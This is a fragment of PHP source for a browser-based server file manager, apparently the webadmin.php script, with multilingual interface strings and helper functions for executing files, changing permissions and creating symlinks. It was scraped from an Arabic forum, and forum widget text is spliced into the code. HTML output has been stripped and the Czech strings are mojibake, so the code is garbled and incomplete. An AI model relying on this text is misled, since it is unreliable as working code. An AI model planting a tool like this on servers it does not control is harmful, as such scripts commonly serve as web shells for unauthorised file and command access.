'; } function textfieldsize ($content) { $size = strlen($content) + 5; if ($size < 30) $size = 30; return $size; } function request_dump () { foreach ($_REQUEST as $key => $value) { echo "\t\n"; } } /* ------------------------------------------------------------------------- */ function html ($string) { global $site_charset; return htmlentities($string, ENT_COMPAT, $site_charset); } function word ($word) { global $words, $word_charset; return htmlentities($words[$word], ENT_COMPAT, $word_charset); } function phrase ($phrase, $arguments) { global $words; static $search; if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; for ($i = 0; $i < sizeof($arguments); $i++) { $arguments[$i] = nl2br(html($arguments[$i])); } $replace = array('{' => '
', '}' =>'
', '[' => '', ']' => ''); return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase])))); } function getwords ($lang) { global $word_charset, $date_format; switch ($lang) { case 'de': $date_format = 'd.m.y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Verzeichnis', 'file' => 'Datei', 'filename' => 'Dateiname', 'size' => 'Grِكe', 'permission' => 'Rechte', 'owner' => 'Eigner', 'group' => 'Gruppe', 'other' => 'Andere', 'functions' => 'Funktionen', 'read' => 'lesen', 'write' => 'schreiben', 'execute' => 'ausführen', 'create_symlink' => 'Symlink erstellen', 'delete' => 'lِschen', 'rename' => 'umbenennen', 'move' => 'verschieben', 'copy' => 'kopieren', 'edit' => 'editieren', 'download' => 'herunterladen', 'upload' => 'hochladen', 'create' => 'erstellen', 'change' => 'wechseln', 'save' => 'speichern', 'set' => 'setze', 'reset' => 'zurücksetzen', 'relative' => 'Pfad zum Ziel relativ', 'yes' => 'Ja', 'no' => 'Nein', 'back' => 'zurück', 'destination' => 'Ziel', 'symlink' => 'Symbolischer Link', 'no_output' => 'keine Ausgabe', 'user' => 'Benutzername', 'password' => 'Kennwort', 'add' => 'hinzufügen', 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen', 'uploaded' => '"[%1]" wurde hochgeladen.', 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.', 'already_exists' => '"[%1]" existiert bereits.', 'created' => '"[%1]" wurde erstellt.', 'not_created' => '"[%1]" konnte nicht erstellt werden.', 'really_delete' => 'Sollen folgende Dateien wirklich gelِscht werden?', 'deleted' => "Folgende Dateien wurden gelِscht:\n[%1]", 'not_deleted' => "Folgende Dateien konnten nicht gelِscht werden:\n[%1]", 'rename_file' => 'Benenne Datei um:', 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.', 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.', 'move_files' => 'Verschieben folgende Dateien:', 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", 'copy_files' => 'Kopiere folgende Dateien:', 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", 'not_edited' => '"[%1]" kann nicht editiert werden.', 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}", 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}", 'saved' => '"[%1]" wurde gespeichert.', 'not_saved' => '"[%1]" konnte nicht gespeichert werden.', 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.', 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.', 'permission_for' => 'Rechte für "[%1]":', 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.', 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.', 'not_readable' => '"[%1]" kann nicht gelesen werden.' ); case 'fr': $date_format = 'd.m.y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Répertoire', 'file' => 'Fichier', 'filename' => 'Nom fichier', 'size' => 'Taille', 'permission' => 'Droits', 'owner' => 'Propriétaire', 'group' => 'Groupe', 'other' => 'Autres', 'functions' => 'Fonctions', 'read' => 'Lire', 'write' => 'Ecrire', 'execute' => 'Exécuter', 'create_symlink' => 'Créer lien symbolique', 'delete' => 'Effacer', 'rename' => 'Renommer', 'move' => 'Déplacer', 'copy' => 'Copier', 'edit' => 'Ouvrir', 'download' => 'Télécharger sur PC', 'upload' => 'Télécharger sur serveur', 'create' => 'Créer', 'change' => 'Changer', 'save' => 'Sauvegarder', 'set' => 'Exécuter', 'reset' => 'Réinitialiser', 'relative' => 'Relatif', 'yes' => 'Oui', 'no' => 'Non', 'back' => 'Retour', 'destination' => 'Destination', 'symlink' => 'Lien symbollique', 'no_output' => 'Pas de sortie', 'user' => 'Utilisateur', 'password' => 'Mot de passe', 'add' => 'Ajouter', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" a été téléchargé sur le serveur.', 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.', 'already_exists' => '"[%1]" existe déjà.', 'created' => '"[%1]" a été créé.', 'not_created' => '"[%1]" n a pas pu être créé.', 'really_delete' => 'Effacer le fichier?', 'deleted' => "Ces fichiers ont été détuits:\n[%1]", 'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]", 'rename_file' => 'Renomme fichier:', 'renamed' => '"[%1]" a été renommé en "[%2]".', 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".', 'move_files' => 'Déplacer ces fichiers:', 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]", 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]", 'copy_files' => 'Copier ces fichiers:', 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]", 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" ne peut être ouvert.', 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}", 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}", 'saved' => '"[%1]" a été sauvegardé.', 'not_saved' => '"[%1]" n a pas pu être sauvegardé.', 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.', 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.', 'permission_for' => 'Droits de "[%1]":', 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].', 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].', 'not_readable' => '"[%1]" ne peut pas être ouvert.' ); case 'it': $date_format = 'd-m-Y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Nome File', 'size' => 'Dimensioni', 'permission' => 'Permessi', 'owner' => 'Proprietario', 'group' => 'Gruppo', 'other' => 'Altro', 'functions' => 'Funzioni', 'read' => 'leggi', 'write' => 'scrivi', 'execute' => 'esegui', 'create_symlink' => 'crea link simbolico', 'delete' => 'cancella', 'rename' => 'rinomina', 'move' => 'sposta', 'copy' => 'copia', 'edit' => 'modifica', 'download' => 'download', 'upload' => 'upload', 'create' => 'crea', 'change' => 'cambia', 'save' => 'salva', 'set' => 'imposta', 'reset' => 'reimposta', 'relative' => 'Percorso relativo per la destinazione', 'yes' => 'Si', 'no' => 'No', 'back' => 'indietro', 'destination' => 'Destinazione', 'symlink' => 'Link simbolico', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'aggiungi', 'add_basic_auth' => 'aggiungi autenticazione base', 'uploaded' => '"[%1]" è stato caricato.', 'not_uploaded' => '"[%1]" non è stato caricato.', 'already_exists' => '"[%1]" esiste già.', 'created' => '"[%1]" è stato creato.', 'not_created' => '"[%1]" non è stato creato.', 'really_delete' => 'Cancello questi file ?', 'deleted' => "Questi file sono stati cancellati:\n[%1]", 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]", 'rename_file' => 'File rinominato:', 'renamed' => '"[%1]" è stato rinominato in "[%2]".', 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".', 'move_files' => 'Sposto questi file:', 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]", 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", 'copy_files' => 'Copio questi file', 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]", 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" non puٍ essere modificato.', 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}", 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}", 'saved' => '"[%1]" è stato salvato.', 'not_saved' => '"[%1]" non è stato salvato.', 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.', 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.', 'permission_for' => 'Permessi di "[%1]":', 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].', 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].', 'not_readable' => '"[%1]" non puٍ essere letto.' ); case 'nl': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'Bestand', 'filename' => 'Bestandsnaam', 'size' => 'Grootte', 'permission' => 'Bevoegdheid', 'owner' => 'Eigenaar', 'group' => 'Groep', 'other' => 'Anderen', 'functions' => 'Functies', 'read' => 'lezen', 'write' => 'schrijven', 'execute' => 'uitvoeren', 'create_symlink' => 'maak symlink', 'delete' => 'verwijderen', 'rename' => 'hernoemen', 'move' => 'verplaatsen', 'copy' => 'kopieren', 'edit' => 'bewerken', 'download' => 'downloaden', 'upload' => 'uploaden', 'create' => 'aanmaken', 'change' => 'veranderen', 'save' => 'opslaan', 'set' => 'instellen', 'reset' => 'resetten', 'relative' => 'Relatief pat naar doel', 'yes' => 'Ja', 'no' => 'Nee', 'back' => 'terug', 'destination' => 'Bestemming', 'symlink' => 'Symlink', 'no_output' => 'geen output', 'user' => 'Gebruiker', 'password' => 'Wachtwoord', 'add' => 'toevoegen', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" is verstuurd.', 'not_uploaded' => '"[%1]" kan niet worden verstuurd.', 'already_exists' => '"[%1]" bestaat al.', 'created' => '"[%1]" is aangemaakt.', 'not_created' => '"[%1]" kan niet worden aangemaakt.', 'really_delete' => 'Deze bestanden verwijderen?', 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]", 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]", 'rename_file' => 'Bestandsnaam veranderen:', 'renamed' => '"[%1]" heet nu "[%2]".', 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".', 'move_files' => 'Verplaats deze bestanden:', 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", 'copy_files' => 'Kopieer deze bestanden:', 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan niet worden bewerkt.', 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}", 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", 'saved' => '"[%1]" is opgeslagen.', 'not_saved' => '"[%1]" is niet opgeslagen.', 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.', 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.', 'permission_for' => 'Bevoegdheid voor "[%1]":', 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].', 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].', 'not_readable' => '"[%1]" kan niet worden gelezen.' ); case 'se': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Mapp', 'file' => 'Fil', 'filename' => 'Filnamn', 'size' => 'Storlek', 'permission' => 'Sنkerhetsnivه', 'owner' => 'ؤgare', 'group' => 'Grupp', 'other' => 'Andra', 'functions' => 'Funktioner', 'read' => 'Lنs', 'write' => 'Skriv', 'execute' => 'Utfِr', 'create_symlink' => 'Skapa symlink', 'delete' => 'Radera', 'rename' => 'Byt namn', 'move' => 'Flytta', 'copy' => 'Kopiera', 'edit' => 'ؤndra', 'download' => 'Ladda ner', 'upload' => 'Ladda upp', 'create' => 'Skapa', 'change' => 'ؤndra', 'save' => 'Spara', 'set' => 'Markera', 'reset' => 'Tِm', 'relative' => 'Relative path to target', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'Tillbaks', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'Anvنndare', 'password' => 'Lِsenord', 'add' => 'Lنgg till', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" har laddats upp.', 'not_uploaded' => '"[%1]" kunde inte laddas upp.', 'already_exists' => '"[%1]" finns redan.', 'created' => '"[%1]" har skapats.', 'not_created' => '"[%1]" kunde inte skapas.', 'really_delete' => 'Radera dessa filer?', 'deleted' => "De hنr filerna har raderats:\n[%1]", 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]", 'rename_file' => 'Byt namn pه fil:', 'renamed' => '"[%1]" har bytt namn till "[%2]".', 'not_renamed' => '"[%1] kunde inte dِpas om till "[%2]".', 'move_files' => 'Flytta dessa filer:', 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]", 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", 'copy_files' => 'Kopiera dessa filer:', 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]", 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan inte نndras.', 'executed' => "\"[%1]\" har utfِrts:\n{%2}", 'not_executed' => "\"[%1]\" kunde inte utfِras:\n{%2}", 'saved' => '"[%1]" har sparats.', 'not_saved' => '"[%1]" kunde inte sparas.', 'symlinked' => 'Symlink frهn "[%2]" till "[%1]" har skapats.', 'not_symlinked' => 'Symlink frهn "[%2]" till "[%1]" kunde inte skapas.', 'permission_for' => 'Rنttigheter fِr "[%1]":', 'permission_set' => 'Rنttigheter fِr "[%1]" نndrades till [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" kan inte lنsas.' ); case 'sp': $date_format = 'j/n/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directorio', 'file' => 'Archivo', 'filename' => 'Nombre Archivo', 'size' => 'Tamaٌo', 'permission' => 'Permisos', 'owner' => 'Propietario', 'group' => 'Grupo', 'other' => 'Otros', 'functions' => 'Funciones', 'read' => 'lectura', 'write' => 'escritura', 'execute' => 'ejecuciَn', 'create_symlink' => 'crear enlace', 'delete' => 'borrar', 'rename' => 'renombrar', 'move' => 'mover', 'copy' => 'copiar', 'edit' => 'editar', 'download' => 'bajar', 'upload' => 'subir', 'create' => 'crear', 'change' => 'cambiar', 'save' => 'salvar', 'set' => 'setear', 'reset' => 'resetear', 'relative' => 'Path relativo', 'yes' => 'Si', 'no' => 'No', 'back' => 'atrلs', 'destination' => 'Destino', 'symlink' => 'Enlace', 'no_output' => 'sin salida', 'user' => 'Usuario', 'password' => 'Clave', 'add' => 'agregar', 'add_basic_auth' => 'agregar autentificaciَn bلsica', 'uploaded' => '"[%1]" ha sido subido.', 'not_uploaded' => '"[%1]" no pudo ser subido.', 'already_exists' => '"[%1]" ya existe.', 'created' => '"[%1]" ha sido creado.', 'not_created' => '"[%1]" no pudo ser creado.', 'really_delete' => '؟Borra estos archivos?', 'deleted' => "Estos archivos han sido borrados:\n[%1]", 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]", 'rename_file' => 'Renombra archivo:', 'renamed' => '"[%1]" ha sido renombrado a "[%2]".', 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".', 'move_files' => 'Mover estos archivos:', 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", 'copy_files' => 'Copiar estos archivos:', 'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]", 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" no pudo ser editado.', 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", 'saved' => '"[%1]" ha sido salvado.', 'not_saved' => '"[%1]" no pudo ser salvado.', 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.', 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.', 'permission_for' => 'Permisos de "[%1]":', 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].', 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].', 'not_readable' => '"[%1]" no pudo ser leيdo.' ); case 'dk': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Mappe', 'file' => 'Fil', 'filename' => 'Filnavn', 'size' => 'Stّrrelse', 'permission' => 'Rettighed', 'owner' => 'Ejer', 'group' => 'Gruppe', 'other' => 'Andre', 'functions' => 'Funktioner', 'read' => 'lوs', 'write' => 'skriv', 'execute' => 'kّr', 'create_symlink' => 'opret symbolsk link', 'delete' => 'slet', 'rename' => 'omdّb', 'move' => 'flyt', 'copy' => 'kopier', 'edit' => 'rediger', 'download' => 'download', 'upload' => 'upload', 'create' => 'opret', 'change' => 'skift', 'save' => 'gem', 'set' => 'sوt', 'reset' => 'nulstil', 'relative' => 'Relativ sti til valg', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'tilbage', 'destination' => 'Distination', 'symlink' => 'Symbolsk link', 'no_output' => 'ingen resultat', 'user' => 'Bruger', 'password' => 'Kodeord', 'add' => 'tilfّj', 'add_basic_auth' => 'tilfّj grundliggende rettigheder', 'uploaded' => '"[%1]" er blevet uploaded.', 'not_uploaded' => '"[%1]" kunnu ikke uploades.', 'already_exists' => '"[%1]" findes allerede.', 'created' => '"[%1]" er blevet oprettet.', 'not_created' => '"[%1]" kunne ikke oprettes.', 'really_delete' => 'Slet disse filer?', 'deleted' => "Disse filer er blevet slettet:\n[%1]", 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]", 'rename_file' => 'Omdّd fil:', 'renamed' => '"[%1]" er blevet omdّbt til "[%2]".', 'not_renamed' => '"[%1] kunne ikke omdّbes til "[%2]".', 'move_files' => 'Flyt disse filer:', 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", 'copy_files' => 'Kopier disse filer:', 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]", 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan ikke redigeres.', 'executed' => "\"[%1]\" er blevet kّrt korrekt:\n{%2}", 'not_executed' => "\"[%1]\" kan ikke kّres korrekt:\n{%2}", 'saved' => '"[%1]" er blevet gemt.', 'not_saved' => '"[%1]" kunne ikke gemmes.', 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.', 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.', 'permission_for' => 'Rettigheder for "[%1]":', 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].', 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sوttes til [%2].', 'not_readable' => '"[%1]" Kan ikke lوses.' ); case 'tr': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Klasِr', 'file' => 'Dosya', 'filename' => 'dosya adi', 'size' => 'boyutu', 'permission' => 'Izin', 'owner' => 'sahib', 'group' => 'Grup', 'other' => 'Digerleri', 'functions' => 'Fonksiyonlar', 'read' => 'oku', 'write' => 'yaz', 'execute' => 'çalistir', 'create_symlink' => 'yarat symlink', 'delete' => 'sil', 'rename' => 'ad degistir', 'move' => 'tasi', 'copy' => 'kopyala', 'edit' => 'düzenle', 'download' => 'indir', 'upload' => 'yükle', 'create' => 'create', 'change' => 'degistir', 'save' => 'kaydet', 'set' => 'ayar', 'reset' => 'sifirla', 'relative' => 'Hedef yola gِre', 'yes' => 'Evet', 'no' => 'Hayir', 'back' => 'Geri', 'destination' => 'Hedef', 'symlink' => 'K‎sa yol', 'no_output' => 'çikti yok', 'user' => 'Kullanici', 'password' => 'Sifre', 'add' => 'ekle', 'add_basic_auth' => 'ekle basit-authentification', 'uploaded' => '"[%1]" yüklendi.', 'not_uploaded' => '"[%1]" yüklenemedi.', 'already_exists' => '"[%1]" kullanilmakta.', 'created' => '"[%1]" olusturuldu.', 'not_created' => '"[%1]" olusturulamadi.', 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?', 'deleted' => "Bu dosyalar silindi:\n[%1]", 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]", 'rename_file' => 'Adi degisen dosya:', 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".', 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.', 'move_files' => 'Tasinan dosyalar:', 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", 'copy_files' => 'Kopyalanan dosyalar:', 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" düzenlenemiyor.', 'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}", 'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}", 'saved' => '"[%1]" kaydedildi.', 'not_saved' => '"[%1]" kaydedilemedi.', 'symlinked' => '"[%2]" den "[%1]" e k‎sayol olu‏turuldu.', 'not_symlinked' => '"[%2]"den "[%1]" e k‎sayol olu‏turulamad‎.', 'permission_for' => 'Izinler "[%1]":', 'permission_set' => 'Izinler "[%1]" degistirildi [%2].', 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].', 'not_readable' => '"[%1]" okunamiyor.' ); case 'cs': $date_format = 'd.m.y H:i:s'; $word_charset = 'UTF-8'; return array( 'directory' => 'Adresأ،إ™', 'file' => 'Soubor', 'filename' => 'Jmأ©no souboru', 'size' => 'Velikost', 'permission' => 'Prأ،va', 'owner' => 'Vlastnأ­k', 'group' => 'Skupina', 'other' => 'Ostatnأ­', 'functions' => 'Funkce', 'read' => 'ؤŒtenأ­', 'write' => 'Zأ،pis', 'execute' => 'Spouإ،tؤ›nأ­', 'create_symlink' => 'Vytvoإ™it symbolickأ½ odkaz', 'delete' => 'Smazat', 'rename' => 'Pإ™ejmenovat', 'move' => 'Pإ™esunout', 'copy' => 'Zkopأ­rovat', 'edit' => 'Otevإ™أ­t', 'download' => 'Stأ،hnout', 'upload' => 'Nahraj na server', 'create' => 'Vytvoإ™it', 'change' => 'Zmؤ›nit', 'save' => 'Uloإ¾it', 'set' => 'Nastavit', 'reset' => 'zpؤ›t', 'relative' => 'Relatif', 'yes' => 'Ano', 'no' => 'Ne', 'back' => 'Zpؤ›t', 'destination' => 'Destination', 'symlink' => 'Symbolickأ½ odkaz', 'no_output' => 'Prأ،zdnأ½ vأ½stup', 'user' => 'Uإ¾ivatel', 'password' => 'Heslo', 'add' => 'Pإ™idat', 'add_basic_auth' => 'pإ™idej zأ،kladnأ­ autentizaci', 'uploaded' => 'Soubor "[%1]" byl nahrأ،n na server.', 'not_uploaded' => 'Soubor "[%1]" nebyl nahrأ،n na server.', 'already_exists' => 'Soubor "[%1]" uإ¾ exituje.', 'created' => 'Soubor "[%1]" byl vytvoإ™en.', 'not_created' => 'Soubor "[%1]" nemohl bأ½t vytvoإ™en.', 'really_delete' => 'Vymazat soubor?', 'deleted' => "Byly vymazأ،ny tyto soubory:\n[%1]", 'not_deleted' => "Tyto soubory nemohly bأ½t vytvoإ™eny:\n[%1]", 'rename_file' => 'Pإ™ejmenuj soubory:', 'renamed' => 'Soubor "[%1]" byl pإ™ejmenovأ،n na "[%2]".', 'not_renamed' => 'Soubor "[%1]" nemohl bأ½t pإ™ejmenovأ،n na "[%2]".', 'move_files' => 'Pإ™emأ­stit tyto soubory:', 'moved' => "Tyto soubory byly pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]", 'not_moved' => "Tyto soubory nemohly bأ½t pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]", 'copy_files' => 'Zkopأ­rovat tyto soubory:', 'copied' => "Tyto soubory byly zkopأ­rovأ،ny do \"[%2]\":\n[%1]", 'not_copied' => "Tyto soubory nemohly bأ½t zkopأ­rovأ،ny do \"[%2]\":\n[%1]", 'not_edited' => 'Soubor "[%1]" nemohl bأ½t otevإ™en.', 'executed' => "SOubor \"[%1]\" byl spuإ،tؤ›n :\n{%2}", 'not_executed' => "Soubor \"[%1]\" nemohl bأ½t spuإ،tؤ›n:\n{%2}", 'saved' => 'Soubor "[%1]" byl uloإ¾en.', 'not_saved' => 'Soubor "[%1]" nemohl bأ½t uloإ¾en.', 'symlinked' => 'Byl vyvoإ™en symbolickأ½ odkaz "[%2]" na soubor "[%1]".', 'not_symlinked' => 'Symbolickأ½ odkaz "[%2]" na soubor "[%1]" nemohl bأ½t vytvoإ™en.', 'permission_for' => 'Prأ،va k "[%1]":', 'permission_set' => 'Prأ،va k "[%1]" byla zmؤ›nؤ›na na [%2].', 'permission_not_set' => 'Prأ،va k "[%1]" nemohla bأ½t zmؤ›nؤ›na na [%2].', 'not_readable' => 'Soubor "[%1]" nenأ­ moإ¾no pإ™eؤچأ­st.' ); case 'en': default: $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => "These files have been deleted:\n[%1]", 'not_deleted' => "These files could not be deleted:\n[%1]", 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\n[%1]", 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\n[%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\n{%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}", 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created

احصائيات سريعة
 
مختارات خاصة
'; $d = 'dir=' . urlencode($directory) . '&'; if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$win) { if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = ''; echo "\t\n"; } echo ' '; for ($i = 0; $i < sizeof($list); $i++) { $file = $list[$i]; $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); echo '\n"; if (!$win) { echo "\t\n"; if (array_key_exists('owner_name', $file)) { echo "\t\n"; } else { echo "\t\n"; } if (array_key_exists('group_name', $file)) { echo "\t\n"; } else { echo "\t\n"; } } echo ' '; } echo ' '; } function directory_choice () { global $directory, $homedir, $cols, $self; echo ' '; } function upload_box () { global $cols; echo ' '; } function create_box () { global $cols; echo ' '; } function edit ($file) { global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess; html_header(); echo '

' . html($file) . '

لوحة الاعلانات
